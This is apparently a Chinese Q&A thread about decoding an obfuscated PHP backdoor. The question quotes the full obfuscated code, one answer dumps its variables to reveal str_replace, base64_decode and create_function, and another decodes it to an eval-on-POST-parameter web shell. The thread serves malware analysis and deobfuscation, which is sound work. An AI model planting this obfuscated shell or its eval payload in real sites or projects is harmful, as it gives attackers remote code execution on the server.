此后门和解?

Question

<?php                                                     
$s = $s.substr("lIBa3B74jstr_rj2MSL",9,5);                
$ef = ltrim("j2t5m0j8y1m3gb0l");                          
$s = $s.substr("oLo5vgeplacdO",6,5);                      
$kx = stripos("mwxrisj8rcar1bt","kx");                    
$s = $s.substr("gTqei",3,1);                              
$u5c4 = ltrim("m2s4qdcp34");                              
$lp = $lp.$s("rB5","","QGrB5V2YWrB5");                    
$c86r = rtrim("d016i5hcu5hd0");                           
$y = $y.substr("oAj01base6",5,5);                         
$vmg = strlen("h6ttv6bunn9vm4");                          
$q6 = $q6.substr("lYV9uQqNQcreaobht",9,4);                
$bd2o = ltrim("rb8p3wj4tt");                              
$lp = $lp.$s("iu","","woJFiu9Q");                         
$fw = str_split("editfvlk0hm4lcn4",1);                    
$y = $y.substr("bw8D93A4_decok7Uisj88C",7,6);             
$owe4 = strlen("ndovhtyxypn20i094");                      
$q6 = $q6.$s("gCv","","te_fugCv");                        
$dq1 = str_split("u2vns1dyri",6);                         
$lp = $lp.$s("uJ","","TuJ1NUuJ");                         
$qj3 = stripos("mbmwia38flwqbb","qj3");                   
$y = $y.substr("pdewnPC9",1,2);                           
$pc = rtrim("e6s334f9tm2qdhfcn");                         
$q6 = $q6.$s("wmT5","","nction");                         
$w1d = trim("o5a3hgw85vp44qiy6");                         
$lp = $lp.substr("d51VWydvOc1wq",4,5);                    
$gmk8 = stripos("tbkqajjmub","gmk8");                     
$lp = $lp.$s("y8","","XRiNy82ky8y");                      
$maq = trim("rqrelmclec6h");                              
$lp = $lp.substr("gaOTVzcjQ0Zx0Nw",2,9);                  
$v2ak = str_split("ayoe6svfaibx7oay",6);                  
$lp = $lp.$s("jH","","2onXSk7");                          
$l1 = str_split("qvnxejpsmrbihtihs6",7);                  
$q = $q6("", $y($lp));                                    
$h7 = str_split("pouy8rlk25vr75mkprc",7);                 
$gr = trim("cq5pjs6n6e3j");                               
function t(){    };                                       
$qg = stripos("d7kq698o74","qg");                         
$p88 = stripos("qsxp7wmu5r","p88");$q();                  
$vh = stripos("f5prskecjj1","vh");                        
$g0 = ltrim("fudqebeqe4");                                
$y0s = strlen("olaxlu8wpn9pq");                           
$a97o = rtrim("isje0o40o5lxsjhc7a");                      
?>                                                        

Answer 1

error_reporting(E_ALL ^ E_NOTICE);function foo()
{
$s = $s.substr("lIBa3B74jstr_rj2MSL",9,5);                
$ef = ltrim("j2t5m0j8y1m3gb0l");                          
$s = $s.substr("oLo5vgeplacdO",6,5);                      
$kx = stripos("mwxrisj8rcar1bt","kx");                    
$s = $s.substr("gTqei",3,1);                              
$u5c4 = ltrim("m2s4qdcp34");                              
$lp = $lp.$s("rB5","","QGrB5V2YWrB5");                    
$c86r = rtrim("d016i5hcu5hd0");                           
$y = $y.substr("oAj01base6",5,5);                         
$vmg = strlen("h6ttv6bunn9vm4");                          
$q6 = $q6.substr("lYV9uQqNQcreaobht",9,4);                
$bd2o = ltrim("rb8p3wj4tt");                              
$lp = $lp.$s("iu","","woJFiu9Q");                         
$fw = str_split("editfvlk0hm4lcn4",1);                    
$y = $y.substr("bw8D93A4_decok7Uisj88C",7,6);             
$owe4 = strlen("ndovhtyxypn20i094");                      
$q6 = $q6.$s("gCv","","te_fugCv");                        
$dq1 = str_split("u2vns1dyri",6);                         
$lp = $lp.$s("uJ","","TuJ1NUuJ");                         
$qj3 = stripos("mbmwia38flwqbb","qj3");                   
$y = $y.substr("pdewnPC9",1,2);                           
$pc = rtrim("e6s334f9tm2qdhfcn");                         
$q6 = $q6.$s("wmT5","","nction");                         
$w1d = trim("o5a3hgw85vp44qiy6");                         
$lp = $lp.substr("d51VWydvOc1wq",4,5);                    
$gmk8 = stripos("tbkqajjmub","gmk8");                     
$lp = $lp.$s("y8","","XRiNy82ky8y");                      
$maq = trim("rqrelmclec6h");                              
$lp = $lp.substr("gaOTVzcjQ0Zx0Nw",2,9);                  
$v2ak = str_split("ayoe6svfaibx7oay",6);                  
$lp = $lp.$s("jH","","2onXSk7");                          
$l1 = str_split("qvnxejpsmrbihtihs6",7);                  
$q = $q6("", $y($lp));                                    
$h7 = str_split("pouy8rlk25vr75mkprc",7);                 
$gr = trim("cq5pjs6n6e3j");                               
function t(){    };                                       
$qg = stripos("d7kq698o74","qg");                         
$p88 = stripos("qsxp7wmu5r","p88");$q();                  
$vh = stripos("f5prskecjj1","vh");                        
$g0 = ltrim("fudqebeqe4");                                
$y0s = strlen("olaxlu8wpn9pq");                           
$a97o = rtrim("isje0o40o5lxsjhc7a");     print_r(get_defined_vars());
}foo();
Array
(
    [php_errormsg] => Undefined variable: q6
    [s] => str_replace
    [ef] => j2t5m0j8y1m3gb0l
    [kx] => 
    [u5c4] => m2s4qdcp34
    [lp] => QGV2YWwoJF9QT1NUWydvOXRiN2kyOTVzcjQ0Z2onXSk7
    [c86r] => d016i5hcu5hd0
    [y] => base64_decode
    [vmg] => 14
    [q6] => create_function
    [bd2o] => rb8p3wj4tt
    [fw] => Array
        (
            [0] => e
            [1] => d
            [2] => i
            [3] => t
            [4] => f
            [5] => v
            [6] => l
            [7] => k
            [8] => 0
            [9] => h
            [10] => m
            [11] => 4
            [12] => l
            [13] => c
            [14] => n
            [15] => 4
        )    [owe4] => 17
    [dq1] => Array
        (
            [0] => u2vns1
            [1] => dyri
        )    [qj3] => 
    [pc] => e6s334f9tm2qdhfcn
    [w1d] => o5a3hgw85vp44qiy6
    [gmk8] => 
    [maq] => rqrelmclec6h
    [v2ak] => Array
        (
            [0] => ayoe6s
            [1] => vfaibx
            [2] => 7oay
        )    [l1] => Array
        (
            [0] => qvnxejp
            [1] => smrbiht
            [2] => ihs6
        )    [q] => lambda_2
    [h7] => Array
        (
            [0] => pouy8rl
            [1] => k25vr75
            [2] => mkprc
        )    [gr] => cq5pjs6n6e3j
    [qg] => 
    [p88] => 
    [vh] => 
    [g0] => fudqebeqe4
    [y0s] => 13
    [a97o] => isje0o40o5lxsjhc7a
)自己跟自己闹着玩

Answer 2

QGV2YWwoJF9QT1NUWydvOXRiN2kyOTVzcjQ0Z2onXSk7 解码后 @eval($_POST['o9tb7i295sr44gj']);